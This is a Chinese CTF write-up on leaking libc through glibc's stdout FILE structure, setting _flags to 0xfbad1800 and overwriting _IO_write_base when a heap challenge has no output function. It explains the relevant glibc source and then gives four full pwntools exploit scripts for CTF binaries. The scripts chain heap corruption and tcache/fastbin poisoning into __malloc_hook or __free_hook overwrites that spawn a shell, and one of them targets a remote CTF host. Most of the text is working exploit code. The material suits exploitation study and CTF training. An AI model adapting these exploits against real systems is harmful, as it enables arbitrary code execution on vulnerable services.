在堆题没有show函数时，我们可以用 IO_FILE 进行leak，本文就记录一下如何实现这一手法。

拿一个输出函数 puts 来说，它在源码里的表现形式为 _IO_puts 。

_IO_puts (const char *str)

{

  int result = EOF;

  _IO_size_t len = strlen (str);

  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0

       || _IO_fwide (_IO_stdout, -1) == -1)

      && _IO_sputn (_IO_stdout, str, len) == len

      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)

    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);

  return result;

}

我们可以看到 _IO_puts 又调用了一个叫 _IO_sputn 的函数。

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

它是一个宏，它的作用就是调用 _IO_2_1_stdout_ 里 vtable 所指向的 _IO_XSPUTN，也就是 _IO_new_file_xsputn

_IO_size_t

_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)

{

  const char *s = (const char *) data;

  _IO_size_t to_do = n;

  int must_flush = 0;

  _IO_size_t count = 0;

 ............

  else if (f->_IO_write_end > f->_IO_write_ptr)

    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */

  if (count > 0)

    {

............

      if (_IO_OVERFLOW (f, EOF) == EOF)

当 f->_IO_write_end > f->_IO_write_ptr 时，会调用 memcpy 拷贝数据至缓冲区。之后还会判断目标输出数据是否还有剩余。如果还有剩余就要调用 _IO_OVERFLOW 函数，刷新缓冲区。这个函数在 vtable 中为 _IO_overflow ,也就是 _IO_new_file_overflow 。

int

_IO_new_file_overflow (_IO_FILE *f, int ch)

{

  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */

    {

      f->_flags |= _IO_ERR_SEEN;

      __set_errno (EBADF);

      return EOF;

    }

  /* If currently reading or no buffer allocated. */

  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

    {

      /* Allocate a buffer if needed. */

      if (f->_IO_write_base == NULL)

    {

      _IO_doallocbuf (f);

      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);

    }

      /* Otherwise must be currently reading.

     If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,

     logically slide the buffer forwards one block (by setting the

     read pointers to all point at the beginning of the block).  This

     makes room for subsequent output.

     Otherwise, set the read pointers to _IO_read_end (leaving that

     alone, so it can continue to correspond to the external position). */

      if (__glibc_unlikely (_IO_in_backup (f)))

    {

      size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;

      _IO_free_backup_area (f);

      f->_IO_read_base -= MIN (nbackup,

                   f->_IO_read_base - f->_IO_buf_base);

      f->_IO_read_ptr = f->_IO_read_base;

    }

      if (f->_IO_read_ptr == f->_IO_buf_end)

    f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;

      f->_IO_write_ptr = f->_IO_read_ptr;

      f->_IO_write_base = f->_IO_write_ptr;

      f->_IO_write_end = f->_IO_buf_end;

      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

      f->_flags |= _IO_CURRENTLY_PUTTING;

      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))

    f->_IO_write_end = f->_IO_write_ptr;

    }

  if (ch == EOF)

    return _IO_do_write (f, f->_IO_write_base,

             f->_IO_write_ptr - f->_IO_write_base);

  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */

............

我们最后想用的就是 _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) 通过它来执行系统调用write函数，来泄露 libc 。想调用它我们得先绕过几个检查：

1、f->_flags & _IO_NO_WRITES == 1 的话就会 EOF ，故我们要使 f->_flags & _IO_NO_WRITES == 0。

#define _IO_MAGIC 0xFBAD0000 /* Magic number */

#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */

#define _IO_MAGIC_MASK 0xFFFF0000

#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */

#define _IO_UNBUFFERED 2

#define _IO_NO_READS 4 /* Reading not allowed */

#define _IO_NO_WRITES 8 /* Writing not allowd */

#define _IO_EOF_SEEN 0x10

#define _IO_ERR_SEEN 0x20

#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */

#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/

#define _IO_IN_BACKUP 0x100

#define _IO_LINE_BUF 0x200

#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */

#define _IO_CURRENTLY_PUTTING 0x800

#define _IO_IS_APPENDING 0x1000

#define _IO_IS_FILEBUF 0x2000

#define _IO_BAD_SEEN 0x4000

#define _IO_USER_LOCK 0x8000

2、(f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ，这里我们如果这两个条件满足一个就会去执行一些其他的函数，我们最好将其绕过，f->_IO_write_base要泄露数据肯定是不为 NULL 的，故我们要做的就是使 (f->_flags & _IO_CURRENTLY_PUTTING) == 1 。

故满足上述条件 _flags & 8 == 0 , _flags & 0x800 == 1，且 _flags 魔数的常量为 0xfbad0000。 那么此时 _flags == 0xfbad0800。

跟进 _IO_do_write 后会进入 _IO_new_do_write 。

int

_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)

{

  return (to_do == 0

      || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;

}

libc_hidden_ver (_IO_new_do_write, _IO_do_write)

其作用是调用 _IO_new_do_write

static

_IO_size_t

new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)

{

  _IO_size_t count;

  if (fp->_flags & _IO_IS_APPENDING)

    /* On a system without a proper O_APPEND implementation,

       you would need to sys_seek(0, SEEK_END) here, but is

       not needed nor desirable for Unix- or Posix-like systems.

       Instead, just indicate that offset (before and after) is

       unpredictable. */

    fp->_offset = _IO_pos_BAD;

  else if (fp->_IO_read_end != fp->_IO_write_base)

    {

      _IO_off64_t new_pos

    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);

      if (new_pos == _IO_pos_BAD)

    return 0;

      fp->_offset = new_pos;

    }

  count = _IO_SYSWRITE (fp, data, to_do);

  if (fp->_cur_column && count)

    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;

  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);

  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;

  fp->_IO_write_end = (fp->_mode <= 0

               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))

               ? fp->_IO_buf_base : fp->_IO_buf_end);

  return count;

}

我们最后的目的就是调用_IO_SYSWRITE 来执行系统调用，但在执行系统调用之前我们会经过两个判断，在看了其他师傅的文章都说 else if的那个很难满足，故我们选择去满足前一个条件，及 fp->_flags & _IO_IS_APPENDING，之前 _flags == 0xfbad0800，现在又要满足 _flags & 0x1000 == 1，故我们 _flags == 0xfbad1800，即可满足所有条件。最后我们把 _IO_write_base 改为目标地址，之后在此次遇到puts等输出函数时，及可泄露出该地址里的值。

此外由于我们是通过覆盖 main_arena 来获得 _stdout 的地址的，故我们一定要爆破半字节。

de1ctf_2019_weapon

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(index,size,content):

    s.sendlineafter(b'choice >> ',b'1')

    s.sendlineafter(b'wlecome input your size of weapon: ',str(size))

    s.sendlineafter(b'input index:',str(index))

    s.sendafter(b'input your name:',content)

def edit(index,content):

    s.sendlineafter(b'choice >>',b'3')

    s.sendlineafter(b'idx: ',str(index))

    s.sendafter(b'new content:',content)

def delete(index):

    s.sendlineafter(b'choice >>',b'2')

    s.sendlineafter(b'idx :',str(index))

def pwn():

    add(0, 0x10 ,p64(0) + p64(0x21))

    add(1, 0x10 ,b'bbbb')

    add(2, 0x60 ,b'cccc')

    add(3, 0x10 ,b'dddd')

    delete(0)

    delete(1)

    delete(0)

    add(0, 0x10 ,b'\x10')

    add(1, 0x10 ,b'b')

    add(0, 0x10 ,b'c')

    add(4 ,0x10 ,p64(0) + p64(0x71))

    edit(2,b'\x00'*0x48 + p64(0x71))

    delete(1)

    edit(4,p64(0) + p64(0x91))

    delete(1)

    #gdb.attach(s)

    edit(1,b'\xdd\x85')

    edit(4,p64(0) + p64(0x71)) #renew 0x70 fast bin

    add(5 , 0x60 ,b'eeee')

    payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x48'

    add(6 , 0x60 ,payload)

    libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -131-libc.sym['_IO_2_1_stdout_']

    if(libc_base < 0):

        exit(0)

    __malloc_hook = libc_base + libc.sym['__malloc_hook']

    __free_hook = libc_base + libc.sym['__free_hook']

    system_addr = libc_base + libc.sym['system']

    one_gadget = libc_base + 0xf0897

    success(hex(libc_base))

    add(5 , 0x60 ,b'eeee')

    delete(5)

    edit(5,p64(__malloc_hook-0x23))

    add(5 , 0x60 ,b'/bin/sh\x00')

    add(6, 0x60 ,b'a'*0x13 + p64(one_gadget))

    #add(8,0x10,b'gggg')

    #gdb.attach(s)

    s.interactive()

while True:

    try:

        s = process('./de1ctf_2019_weapon')

        pwn()

    except:

        s.close()

'''

0x45206 execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

'''

nsctf_online_2019_pwn1

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(size,content):

    s.recvuntil(b'exit\n')

    s.sendline(b'1')

    s.recvuntil(b'Input the size:\n')

    s.sendline(str(size))

    s.recvuntil(b'Input the content:')

    s.send(content)

def delete(index):

    s.recvuntil(b'exit\n')

    s.sendline(b'2')

    s.recvuntil(b'Input the index:\n')

    s.sendline(str(index))

def edit(index,size,content):

    s.recvuntil(b'exit\n')

    s.sendline(b'4')

    s.recvuntil(b'Input the index:\n')

    s.sendline(str(index))

    s.recvuntil(b'Input size:\n')

    s.sendline(str(size))

    s.recvuntil(b'Input new content:\n')

    s.send(content)

def pwn():

    add(0x80 ,b'aaaa') #0

    add(0x68 ,b'bbbb') #1

    add(0xf0 ,b'cccc') #2

    add(0x10 ,b'dddd') #3

    delete(0)

    edit(1 , 0x68 ,b'e'*0x60+p64(0x70+0x90))

    delete(2)

    add(0x80 ,b'aaaa') #0

    add(0x68 ,b'bbbb') #2=1

    add(0xf0 ,b'cccc') #4

    delete(0)

    edit(2 , 0x68 ,b'e'*0x60+p64(0x70+0x90))

    delete(4)

    delete(1) #fast bin

    add(0x80 ,b'aaaa') #0

    delete(0)

    add(0x80+0x10+2 ,b'a'*0x80 + p64(0) + p64(0x71) + p16((8<<12) + ((libc.sym['_IO_2_1_stdout_'] & 0xfff) - 0x43)))

    add(0x68 ,b'bbbb') #1

    payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x88'

    #gdb.attach(s)

    add(0x59 ,payload)

    libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']

    if(libc_base < 0):

        exit(0)

    success(hex(libc_base))

    __malloc_hook = libc_base + libc.sym['__malloc_hook']

    one_gadget = libc_base + 0xf0897

    delete(1)

    edit(2 , 0x8 ,p64(__malloc_hook-0x23))

    add(0x68 ,b'b') #1

    add(0x68 ,b'c'*0x13 + p64(one_gadget))

    s.interactive()

while True:

    s = process('./nsctf_online_2019_pwn1')

    try:

        pwn()

    except:

        s.close()

roarctf_2019_realloc_magic

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

#s = process('./roarctf_2019_realloc_magic')

libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def realloc(size,content):

    s.recvuntil(b'>> ')

    s.sendline(b'1')

    s.recvuntil(b'Size?\n')

    s.sendline(str(size))

    s.recvuntil(b'Content?\n')

    s.send(content)

def delete():

    s.recvuntil(b'>> ')

    s.sendline(b'2')

def backdoor():

    s.recvuntil(b'>> ')

    s.sendline(b'3')

def pwn():

    realloc(0x70 ,b'aaaa')

    realloc(0 ,b'')

    realloc(0x100 ,b'bbbb')

    realloc(0,b'')

    realloc(0xa0 ,b'cccc')

    realloc(0,b'')

    #gdb.attach(s)

    realloc(0x100 ,b'bbbb')

    for i in range(7):

        delete()

    realloc(0,b'')

    realloc(0x70 ,b'aaaa')

    realloc(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))

    realloc(0 ,b'')

    realloc(0x100 ,b'bbbb')

    realloc(0,b'')

    #gdb.attach(s)

    realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))

    libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']

    if(libc_base < 0):

        exit(0)

    success('libc_basse=>'+hex(libc_base))

    __free_hook = libc_base + libc.sym['__free_hook']

    system_addr = libc_base + libc.sym['system']

    one_gadget = libc_base + 0x4f322

    s.sendline(b'666')

    realloc(0x120,b'a')

    realloc(0,b'')

    realloc(0x130,b'a')

    realloc(0,b'')

    realloc(0x170,b'a')

    realloc(0,b'')

    realloc(0x130,b'a')

    for i in range(7):

        delete()

    realloc(0,b'')

    realloc(0x120,b'a')

    realloc(0x260,b'a'*0x128+p64(0x41)+p64(__free_hook-8))

    realloc(0,b'')

    realloc(0x130,b'a')

    realloc(0,b'')

    realloc(0x130,b'/bin/sh\x00'+p64(system_addr))

    delete()

    #gdb.attach(s)

    s.interactive()

while True:

    s = process('./roarctf_2019_realloc_magic')

    #s = remote('node4.buuoj.cn',26297)

    try:

        pwn()

        #s.interactive()

    except:

        s.close()

TWCTF_online_2019_asterisk_alloc

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def malloc(size,content):

    s.recvuntil(b'=================================')

    s.sendline(b'1')

    s.recvuntil(b'Size: ')

    s.sendline(str(size))

    s.recvuntil(b'Data: ')

    s.send(content)

def calloc(size,content):

    s.recvuntil(b'=================================')

    s.sendline(b'2')

    s.recvuntil(b'Size: ')

    s.sendline(str(size))

    s.recvuntil(b'Data: ')

    s.send(content)

def realloc(size,content):

    s.recvuntil(b'=================================')

    s.sendline(b'3')

    s.recvuntil(b'Size: ')

    s.sendline(str(size))

    s.recvuntil(b'Data: ')

    s.send(content)

def delete(type):

    s.recvuntil(b'=================================')

    s.sendline(b'4')

    s.recvuntil(b'Which: ')

    s.sendline(type)

def pwn():

    realloc(0x70 ,b'aaaa')

    realloc(0 ,b'')

    realloc(0x100 ,b'bbbb')

    realloc(0 ,b'')

    realloc(0xa0 ,b'bbbb')

    realloc(0 ,b'')

    realloc(0x100 ,b'bbbb')

    for i in range(7):

        delete(b'r')

    realloc(0 ,b'')

    realloc(0x70 ,b'aaaa')

    payload = b'a'*0x78 + p64(0x41) +b'\x60\x67'

    realloc(0x180 ,payload)

    realloc(0 ,b'')

    realloc(0x100 ,b'bbbb')

    realloc(0 ,b'')

    payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'

    malloc(0x100 ,payload)

    libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0

    if(libc_base == -0x3e82a0):

        exit(0)

    success('libc_basse=>'+hex(libc_base))

    __free_hook = libc_base + libc.sym['__free_hook']

    system_addr = libc_base + libc.sym['system']

    one_gadget = libc_base + 0x4f322

    realloc(0x120 ,b'aaaa')

    realloc(0 ,b'')

    realloc(0x130 ,b'bbbb')

    realloc(0 ,b'')

    realloc(0x170 ,b'bbbb')

    realloc(0 ,b'')

    realloc(0x130 ,b'bbbb')

    for i in range(7):

        delete(b'r')

    realloc(0 ,b'')

    realloc(0x120 ,b'aaaa')

    payload = b'a'*0x128 + p64(0x41) + p64(__free_hook-0x8)

    realloc(0x260 ,payload)

    realloc(0 ,b'')

    realloc(0x130 ,b'bbbb')

    realloc(0 ,b'')

    payload = b'/bin/sh\x00' + p64(system_addr)

    realloc(0x130 ,payload)

    delete(b'r')

    #gdb.attach(s)

    s.interactive()

while True:

    #s = process('./TWCTF_online_2019_asterisk_alloc')

    s = remote('node4.buuoj.cn',29559)

    try:

        pwn()

        #s.interactive()

    except:

        s.close()

参考文章

https://hollk.blog.csdn.net/article/details/113845320?spm=1001.2014.3001.5502

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